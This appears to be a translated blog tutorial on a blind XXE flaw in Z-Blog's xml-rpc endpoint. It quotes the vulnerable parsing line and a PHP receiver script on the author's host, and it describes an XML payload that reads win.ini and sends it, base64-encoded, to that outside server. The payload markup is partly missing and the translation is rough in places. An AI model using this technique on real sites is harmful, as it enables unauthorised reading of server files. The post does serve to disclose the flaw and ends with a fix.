Z-BLOG Blind-XXE causes Arbitrary File Reading

Z-BLOG Blind-XXE causes Arbitrary File Reading

When I saw Yu Niu's z-blog, I also came to join in.
One Blind XXE tutorial, No Logon required.

Download the latest Z-Blog: http://bbs.zblogcn.com/thread-88670-1-1.html

/Zb_system/xml-rpc/index. php row 641:
 

$zbp->Load();Add_Filter_Plugin('Filter_Plugin_Zbp_ShowError','RespondError');$xmlstring = file_get_contents( 'php://input' );//Logs($xmlstring);$xml = simplexml_load_string($xmlstring);

It can be seen that simple_load_string is directly called to parse XML, resulting in an XML Entity injection.

But observe the Code below and find that the user and password are required to perform some operations and get the echo. Otherwise, an error is reported.

If there is no echo, how can we use XXE? Here we will talk about a blind xxe, which is described in detail in this article:

Http://hivesec.net/web-security/%E5%85%B3%E4%BA%8Eblind-xxe.html

So I will not elaborate on the principle or anything. In fact, I am also confused. It mainly depends on the usage method.



First put a php (http://mhz.pw/xxe/get.php) Receiving File on my HOST ):
 

 file_put_contents('01.txt', $_GET['xxe_local']);?>

The purpose is to save pai_getpolic'xxe_local'into the latest file 01.txt. Then construct an xml file and save it on my host. The XML file actually reads the XML file:
 

 
 ">%int;%trick;

We see this XML, which references the external entity c:/windows/win. ini as the payload value, and then Concatenates the payload to the http://mhz.pw/xxe/get.php? Xxe_local = % payload; for HTTP requests.

After receiving the request, get.php saves the file content to 01.txt, forming a file reading process.

Then, we send a package to/zb_system/xml-rpc/index. php to load the above XML:
 

After the packet is sent, it will request our evil_php.xml, parse this xml to cause XXE attack, read c:/windows/win. ini and base64 encoding before passing it to get. php, and finally saved on our host:
 

 

The Blind XXE vulnerability causes Arbitrary File Reading.

 

 

Solution:

Disable external entities.